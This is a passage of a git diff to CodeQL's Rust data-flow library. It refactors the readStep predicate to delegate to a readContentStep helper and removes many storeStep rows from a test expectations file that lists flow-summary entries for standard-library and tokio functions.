`c.getAReadContent()` whose * value ends up in `node2`. */ predicate readStep(Node node1, ContentSet cs, Node node2) { - exists(Content c | c = cs.(SingletonContentSet).getContent() | - exists(TupleStructPatCfgNode pat, int pos | - pat = node1.asPat() and - node2.asPat() = pat.getField(pos) and - c = TTupleFieldContent(pat.getTupleStructPat().getTupleField(pos)) - ) - or - exists(TuplePatCfgNode pat, int pos | - pos = c.(TuplePositionContent).getPosition() and - node1.asPat() = pat and - node2.asPat() = pat.getField(pos) - ) - or - exists(StructPatCfgNode pat, string field | - pat = node1.asPat() and - c = TStructFieldContent(pat.getStructPat().getStructField(field)) and - node2.asPat() = pat.getFieldPat(field) - ) - or - c instanceof ReferenceContent and - node1.asPat().(RefPatCfgNode).getPat() = node2.asPat() - or - exists(FieldExprCfgNode access | - node1.asExpr() = access.getContainer() and - node2.asExpr() = access and - access = c.(FieldContent).getAnAccess() - ) - or - exists(IndexExprCfgNode arr | - c instanceof ElementContent and - node1.asExpr() = arr.getBase() and - node2.asExpr() = arr - ) - or - exists(ForExprCfgNode for | - c instanceof ElementContent and - node1.asExpr() = for.getIterable() and - node2.asPat() = for.getPat() - ) - or - exists(SlicePatCfgNode pat | - c instanceof ElementContent and - node1.asPat() = pat and - node2.asPat() = pat.getAPat() - ) - or - exists(TryExprCfgNode try | - node1.asExpr() = try.getExpr() and - node2.asExpr() = try and - c.(TupleFieldContent) - .isVariantField([any(OptionEnum o).getSome(), any(ResultEnum r).getOk()], 0) - ) - or - exists(PrefixExprCfgNode deref | - c instanceof ReferenceContent and - deref.getOperatorName() = "*" and - node1.asExpr() = deref.getExpr() and - node2.asExpr() = deref - ) - or - // Read from function return - exists(DataFlowCall call | - lambdaCall(call, _, node1) and - call = node2.(OutNode).getCall(TNormalReturnKind()) and - c instanceof FunctionCallReturnContent - ) - or - exists(AwaitExprCfgNode await | - c instanceof FutureContent and - node1.asExpr() = await.getExpr() and - node2.asExpr() = await - ) - or - referenceExprToExpr(node2.(PostUpdateNode).getPreUpdateNode(), - node1.(PostUpdateNode).getPreUpdateNode(), c) - or - // Step from receiver expression to receiver node, in case of an implicit - // dereference. - implicitDerefToReceiver(node1, node2, c) - or - // A read step dual to the store step for implicit borrows. - implicitBorrowToReceiver(node2.(PostUpdateNode).getPreUpdateNode(), - node1.(PostUpdateNode).getPreUpdateNode(), c) - or - VariableCapture::readStep(node1, c, node2) + exists(Content c | + c = cs.(SingletonContentSet).getContent() and + readContentStep(node1, c, node2) ) or FlowSummaryImpl::Private::Steps::summaryReadStep(node1.(FlowSummaryNode).getSummaryNode(), cs, @@ -652,7 +658,7 @@ module RustDataFlow implements InputSig { } pragma[nomagic] - private predicate storeContentStep(Node node1, Content c, Node node2) { + additional predicate storeContentStep(Node node1, Content c, Node node2) { exists(CallExprCfgNode call, int pos | node1.asExpr() = call.getArgument(pragma[only_bind_into](pos)) and node2.asExpr() = call and diff --git a/rust/ql/test/library-tests/dataflow/local/DataFlowStep.expected b/rust/ql/test/library-tests/dataflow/local/DataFlowStep.expected index 162efcfa2b70..b7300075dc3b 100644 --- a/rust/ql/test/library-tests/dataflow/local/DataFlowStep.expected +++ b/rust/ql/test/library-tests/dataflow/local/DataFlowStep.expected @@ -867,4059 +867,205 @@ localStep | main.rs:577:36:577:41 | ...::new(...) | main.rs:577:36:577:41 | MacroExpr | | main.rs:577:36:577:41 | [post] MacroExpr | main.rs:577:36:577:41 | [post] ...::new(...) | storeStep -| file://:0:0:0:0 | [summary] to write: Argument[0].Field[crate::asserting::Capture::elem] in lang:core::_::::try_capture | Capture.elem | file://:0:0:0:0 | [post] [summary param] 0 in lang:core::_::::try_capture | -| file://:0:0:0:0 | [summary] to write: Argument[0].Field[crate::asserting::Capture::elem].Field[crate::option::Option::Some(0)] in lang:core::_::::try_capture | Some | file://:0:0:0:0 | [summary] to write: Argument[0].Field[crate::asserting::Capture::elem] in lang:core::_::::try_capture | -| file://:0:0:0:0 | [summary] to write: Argument[0].Field[crate::collections::vec_deque::VecDeque::len] in lang:alloc::_::::new | VecDeque.len | file://:0:0:0:0 | [post] [summary param] 0 in lang:alloc::_::::new | -| file://:0:0:0:0 | [summary] to write: Argument[0].Field[crate::option::Option::Some(0)] in lang:core::_::::zip_with | Some | file://:0:0:0:0 | [post] [summary param] 0 in lang:core::_::::zip_with | -| file://:0:0:0:0 | [summary] to write: Argument[0].Parameter[0].Reference in lang:alloc::_::::retain_mut | &ref | file://:0:0:0:0 | [summary] to write: Argument[0].Parameter[0] in lang:alloc::_::::retain_mut | -| file://:0:0:0:0 | [summary] to write: Argument[0].Parameter[0].Reference in lang:core::_::::take_if | &ref | file://:0:0:0:0 | [summary] to write: Argument[0].Parameter[0] in lang:core::_::::take_if | -| file://:0:0:0:0 | [summary] to write: Argument[0].Parameter[0].Reference in lang:core::_::::map_unchecked | &ref | file://:0:0:0:0 | [summary] to write: Argument[0].Parameter[0] in lang:core::_::::map_unchecked | -| file://:0:0:0:0 | [summary] to write: Argument[0].Parameter[0].Reference in repo:https://github.com/rwf2/Rocket:rocket::_::::default_tcp_http_server | &ref | file://:0:0:0:0 | [summary] to write: Argument[0].Parameter[0] in repo:https://github.com/rwf2/Rocket:rocket::_::::default_tcp_http_server | -| file://:0:0:0:0 | [summary] to write: Argument[0].Parameter[0].Reference in repo:https://github.com/servo/rust-smallvec:smallvec::_::::retain | &ref | file://:0:0:0:0 | [summary] to write: Argument[0].Parameter[0] in repo:https://github.com/servo/rust-smallvec:smallvec::_::::retain | -| file://:0:0:0:0 | [summary] to write: Argument[0].Parameter[1].Reference in lang:core::_::crate::num::flt2dec::to_exact_exp_str | &ref | file://:0:0:0:0 | [summary] to write: Argument[0].Parameter[1] in lang:core::_::crate::num::flt2dec::to_exact_exp_str | -| file://:0:0:0:0 | [summary] to write: Argument[0].Parameter[1].Reference in lang:core::_::crate::num::flt2dec::to_exact_fixed_str | &ref | file://:0:0:0:0 | [summary] to write: Argument[0].Parameter[1] in lang:core::_::crate::num::flt2dec::to_exact_fixed_str | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:alloc::_::<_ as crate::borrow::ToOwned>::clone_into | &ref | file://:0:0:0:0 | [post] [summary param] 0 in lang:alloc::_::<_ as crate::borrow::ToOwned>::clone_into | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:alloc::_::crate::collections::btree::mem::replace | &ref | file://:0:0:0:0 | [post] [summary param] 0 in lang:alloc::_::crate::collections::btree::mem::replace | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:alloc::_::crate::collections::btree::mem::take_mut | &ref | file://:0:0:0:0 | [post] [summary param] 0 in lang:alloc::_::crate::collections::btree::mem::take_mut | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:core::_::crate::mem::replace | &ref | file://:0:0:0:0 | [post] [summary param] 0 in lang:core::_::crate::mem::replace | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:core::_::crate::ptr::replace | &ref | file://:0:0:0:0 | [post] [summary param] 0 in lang:core::_::crate::ptr::replace | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:core::_::crate::ptr::write | &ref | file://:0:0:0:0 | [post] [summary param] 0 in lang:core::_::crate::ptr::write | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:core::_::crate::ptr::write_unaligned | &ref | file://:0:0:0:0 | [post] [summary param] 0 in lang:core::_::crate::ptr::write_unaligned | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:core::_::crate::ptr::write_volatile | &ref | file://:0:0:0:0 | [post] [summary param] 0 in lang:core::_::crate::ptr::write_volatile | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:proc_macro::_::<&[u8] as crate::bridge::rpc::DecodeMut>::decode | &ref | file://:0:0:0:0 | [post] [summary param] 0 in lang:proc_macro::_::<&[u8] as crate::bridge::rpc::DecodeMut>::decode | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:proc_macro::_::::decode | &ref | file://:0:0:0:0 | [post] [summary param] 0 in lang:proc_macro::_::::decode | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:proc_macro::_::::decode | &ref | file://:0:0:0:0 | [post] [summary param] 0 in lang:proc_macro::_::::decode | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:proc_macro::_::::decode | &ref | file://:0:0:0:0 | [post] [summary param] 0 in lang:proc_macro::_::::decode | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:std::_:::::read_to_end | &ref | file://:0:0:0:0 | [post] [summary param] 0 in lang:std::_:::::read_to_end | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:std::_:::::read_to_end | &ref | file://:0:0:0:0 | [post] [summary param] 0 in lang:std::_:::::read_to_end | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:std::_::::read | &ref | file://:0:0:0:0 | [post] [summary param] 0 in lang:std::_::::read | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:std::_::::read_exact | &ref | file://:0:0:0:0 | [post] [summary param] 0 in lang:std::_::::read_exact | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:std::_::::read_to_end | &ref | file://:0:0:0:0 | [post] [summary param] 0 in lang:std::_::::read_to_end | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:std::_::::read_to_string | &ref | file://:0:0:0:0 | [post] [summary param] 0 in lang:std::_::::read_to_string | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:std::_::::advance_slices | &ref | file://:0:0:0:0 | [post] [summary param] 0 in lang:std::_::::advance_slices | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:std::_::::advance_slices | &ref | file://:0:0:0:0 | [post] [summary param] 0 in lang:std::_::::advance_slices | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:std::_::::read | &ref | file://:0:0:0:0 | [post] [summary param] 0 in lang:std::_::::read | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:std::_::::read_exact | &ref | file://:0:0:0:0 | [post] [summary param] 0 in lang:std::_::::read_exact | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:std::_::::read_to_string | &ref | file://:0:0:0:0 | [post] [summary param] 0 in lang:std::_::::read_to_string | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:std::_::::read | &ref | file://:0:0:0:0 | [post] [summary param] 0 in lang:std::_::::read | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:std::_::::read_exact | &ref | file://:0:0:0:0 | [post] [summary param] 0 in lang:std::_::::read_exact | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:std::_::::read_to_string | &ref | file://:0:0:0:0 | [post] [summary param] 0 in lang:std::_::::read_to_string | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:std::_::::read | &ref | file://:0:0:0:0 | [post] [summary param] 0 in lang:std::_::::read | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:std::_::::read_exact | &ref | file://:0:0:0:0 | [post] [summary param] 0 in lang:std::_::::read_exact | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:std::_::::read_to_end | &ref | file://:0:0:0:0 | [post] [summary param] 0 in lang:std::_::::read_to_end | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:std::_::::read_to_string | &ref | file://:0:0:0:0 | [post] [summary param] 0 in lang:std::_::::read_to_string | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:std::_::crate::io::BufRead::read_line | &ref | file://:0:0:0:0 | [post] [summary param] 0 in lang:std::_::crate::io::BufRead::read_line | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:std::_::crate::io::Read::read | &ref | file://:0:0:0:0 | [post] [summary param] 0 in lang:std::_::crate::io::Read::read | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:std::_::crate::io::Read::read_exact | &ref | file://:0:0:0:0 | [post] [summary param] 0 in lang:std::_::crate::io::Read::read_exact | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:std::_::crate::io::Read::read_to_end | &ref | file://:0:0:0:0 | [post] [summary param] 0 in lang:std::_::crate::io::Read::read_to_end | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:std::_::crate::io::Read::read_to_string | &ref | file://:0:0:0:0 | [post] [summary param] 0 in lang:std::_::crate::io::Read::read_to_string | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in repo:https://github.com/BurntSushi/memchr:memchr::_::crate::arch::generic::memchr::count_byte_by_byte | &ref | file://:0:0:0:0 | [post] [summary param] 0 in repo:https://github.com/BurntSushi/memchr:memchr::_::crate::arch::generic::memchr::count_byte_by_byte | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in repo:https://github.com/BurntSushi/memchr:memchr::_::crate::arch::generic::memchr::fwd_byte_by_byte | &ref | file://:0:0:0:0 | [post] [summary param] 0 in repo:https://github.com/BurntSushi/memchr:memchr::_::crate::arch::generic::memchr::fwd_byte_by_byte | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::peek | &ref | file://:0:0:0:0 | [post] [summary param] 0 in repo:https://github.com/tokio-rs/tokio:tokio::_::::peek | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_read | &ref | file://:0:0:0:0 | [post] [summary param] 0 in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_read | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_read_buf | &ref | file://:0:0:0:0 | [post] [summary param] 0 in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_read_buf | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_buf_read_ext::AsyncBufReadExt::read_line | &ref | file://:0:0:0:0 | [post] [summary param] 0 in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_buf_read_ext::AsyncBufReadExt::read_line | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read | &ref | file://:0:0:0:0 | [post] [summary param] 0 in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_buf | &ref | file://:0:0:0:0 | [post] [summary param] 0 in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_buf | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_exact | &ref | file://:0:0:0:0 | [post] [summary param] 0 in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_exact | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_to_end | &ref | file://:0:0:0:0 | [post] [summary param] 0 in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_to_end | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_to_string | &ref | file://:0:0:0:0 | [post] [summary param] 0 in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_to_string | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference.Reference in lang:proc_macro::_::<&[u8] as crate::bridge::rpc::DecodeMut>::decode | &ref | file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:proc_macro::_::<&[u8] as crate::bridge::rpc::DecodeMut>::decode | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference.Reference in lang:proc_macro::_::::decode | &ref | file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:proc_macro::_::::decode | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference.Reference in lang:proc_macro::_::::decode | &ref | file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:proc_macro::_::::decode | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference.Reference in lang:proc_macro::_::::decode | &ref | file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:proc_macro::_::::decode | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference.Reference in lang:std::_::::advance_slices | &ref | file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:std::_::::advance_slices | -| file://:0:0:0:0 | [summary] to write: Argument[0].Reference.Reference in lang:std::_::::advance_slices | &ref | file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:std::_::::advance_slices | -| file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0] in lang:proc_macro::_::crate::bridge::client::state::set | function argument at 0 | file://:0:0:0:0 | [post] [summary param] 1 in lang:proc_macro::_::crate::bridge::client::state::set | -| file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0].Reference in lang:core::_::::filter_map | &ref | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0] in lang:core::_::::filter_map | -| file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0].Reference in lang:core::_::::map | &ref | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0] in lang:core::_::::map | -| file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0].Reference in lang:core::_::::filter_map | &ref | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0] in lang:core::_::::filter_map | -| file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0].Reference in lang:core::_::::map | &ref | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0] in lang:core::_::::map | -| file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0].Reference in lang:std::_::::wait_while | &ref | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0] in lang:std::_::::wait_while | -| file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0].Reference in repo:https://github.com/rwf2/Rocket:rocket_codegen::_::crate::derive::form_field::first_duplicate | &ref | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0] in repo:https://github.com/rwf2/Rocket:rocket_codegen::_::crate::derive::form_field::first_duplicate | -| file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::map | &ref | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0] in repo:https://github.com/tokio-rs/tokio:tokio::_::::map | -| file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | &ref | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0] in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | -| file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::map | &ref | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0] in repo:https://github.com/tokio-rs/tokio:tokio::_::::map | -| file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | &ref | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0] in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | -| file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::map | &ref | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0] in repo:https://github.com/tokio-rs/tokio:tokio::_::::map | -| file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | &ref | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0] in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | -| file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::map | &ref | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0] in repo:https://github.com/tokio-rs/tokio:tokio::_::::map | -| file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | &ref | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0] in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | -| file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::map | &ref | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0] in repo:https://github.com/tokio-rs/tokio:tokio::_::::map | -| file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | &ref | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0] in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | -| file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::downgrade_map | &ref | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0] in repo:https://github.com/tokio-rs/tokio:tokio::_::::downgrade_map | -| file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::map | &ref | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0] in repo:https://github.com/tokio-rs/tokio:tokio::_::::map | -| file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_downgrade_map | &ref | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0] in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_downgrade_map | -| file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | &ref | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0] in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | -| file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::map | &ref | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0] in repo:https://github.com/tokio-rs/tokio:tokio::_::::map | -| file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | &ref | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0] in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | -| file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::map | &ref | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0] in repo:https://github.com/tokio-rs/tokio:tokio::_::::map | -| file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | &ref | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0] in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | -| file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::downgrade_map | &ref | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0] in repo:https://github.com/tokio-rs/tokio:tokio::_::::downgrade_map | -| file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::map | &ref | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0] in repo:https://github.com/tokio-rs/tokio:tokio::_::::map | -| file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_downgrade_map | &ref | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0] in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_downgrade_map | -| file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | &ref | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0] in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | -| file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::map | &ref | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0] in repo:https://github.com/tokio-rs/tokio:tokio::_::::map | -| file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | &ref | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0] in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | -| file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[1].Reference in lang:core::_::::spec_try_fold | &ref | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[1] in lang:core::_::::spec_try_fold | -| file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[1].Reference in lang:core::_::crate::slice::sort::stable::sort | &ref | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[1] in lang:core::_::crate::slice::sort::stable::sort | -| file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[1].Reference in repo:https://github.com/BurntSushi/memchr:memchr::_::crate::tests::substring::prop::prefix_is_substring | &ref | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[1] in repo:https://github.com/BurntSushi/memchr:memchr::_::crate::tests::substring::prop::prefix_is_substring | -| file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[1].Reference in repo:https://github.com/BurntSushi/memchr:memchr::_::crate::tests::substring::prop::suffix_is_substring | &ref | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[1] in repo:https://github.com/BurntSushi/memchr:memchr::_::crate::tests::substring::prop::suffix_is_substring | -| file://:0:0:0:0 | [summary] to write: Argument[1].Reference in lang:core::_::<_ as crate::clone::uninit::CopySpec>::clone_one | &ref | file://:0:0:0:0 | [post] [summary param] 1 in lang:core::_::<_ as crate::clone::uninit::CopySpec>::clone_one | -| file://:0:0:0:0 | [summary] to write: Argument[1].Reference in lang:std::_::crate::io::BufRead::read_until | &ref | file://:0:0:0:0 | [post] [summary param] 1 in lang:std::_::crate::io::BufRead::read_until | -| file://:0:0:0:0 | [summary] to write: Argument[1].Reference in repo:https://github.com/tokio-rs/tokio:tokio-stream::_::::extend | &ref | file://:0:0:0:0 | [post] [summary param] 1 in repo:https://github.com/tokio-rs/tokio:tokio-stream::_::::extend | -| file://:0:0:0:0 | [summary] to write: Argument[1].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_buf_read_ext::AsyncBufReadExt::read_until | &ref | file://:0:0:0:0 | [post] [summary param] 1 in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_buf_read_ext::AsyncBufReadExt::read_until | -| file://:0:0:0:0 | [summary] to write: Argument[1].Reference.Field[crate::result::Result::Err(0)] in repo:https://github.com/tokio-rs/tokio:tokio-stream::_::::extend | Err | file://:0:0:0:0 | [summary] to write: Argument[1].Reference in repo:https://github.com/tokio-rs/tokio:tokio-stream::_::::extend | -| file://:0:0:0:0 | [summary] to write: Argument[2].Field[crate::num::bignum::Big32x40::size] in lang:core::_::::div_rem | Big32x40.size | file://:0:0:0:0 | [post] [summary param] 2 in lang:core::_::::div_rem | -| file://:0:0:0:0 | [summary] to write: Argument[2].Field[crate::num::bignum::tests::Big8x3::size] in lang:core::_::::div_rem | Big8x3.size | file://:0:0:0:0 | [post] [summary param] 2 in lang:core::_::::div_rem | -| file://:0:0:0:0 | [summary] to write: Argument[2].Parameter[0].Reference in lang:core::_::crate::cmp::max_by | &ref | file://:0:0:0:0 | [summary] to write: Argument[2].Parameter[0] in lang:core::_::crate::cmp::max_by | -| file://:0:0:0:0 | [summary] to write: Argument[2].Parameter[0].Reference in lang:core::_::crate::cmp::max_by_key | &ref | file://:0:0:0:0 | [summary] to write: Argument[2].Parameter[0] in lang:core::_::crate::cmp::max_by_key | -| file://:0:0:0:0 | [summary] to write: Argument[2].Parameter[0].Reference in lang:core::_::crate::cmp::min_by | &ref | file://:0:0:0:0 | [summary] to write: Argument[2].Parameter[0] in lang:core::_::crate::cmp::min_by | -| file://:0:0:0:0 | [summary] to write: Argument[2].Parameter[0].Reference in lang:core::_::crate::cmp::min_by_key | &ref | file://:0:0:0:0 | [summary] to write: Argument[2].Parameter[0] in lang:core::_::crate::cmp::min_by_key | -| file://:0:0:0:0 | [summary] to write: Argument[2].Parameter[0].Reference in lang:core::_::crate::cmp::minmax_by | &ref | file://:0:0:0:0 | [summary] to write: Argument[2].Parameter[0] in lang:core::_::crate::cmp::minmax_by | -| file://:0:0:0:0 | [summary] to write: Argument[2].Parameter[0].Reference in lang:core::_::crate::cmp::minmax_by_key | &ref | file://:0:0:0:0 | [summary] to write: Argument[2].Parameter[0] in lang:core::_::crate::cmp::minmax_by_key | -| file://:0:0:0:0 | [summary] to write: Argument[2].Parameter[0].Reference in lang:std::_::::wait_timeout_while | &ref | file://:0:0:0:0 | [summary] to write: Argument[2].Parameter[0] in lang:std::_::::wait_timeout_while | -| file://:0:0:0:0 | [summary] to write: Argument[2].Parameter[1].Reference in lang:core::_::crate::cmp::max_by | &ref | file://:0:0:0:0 | [summary] to write: 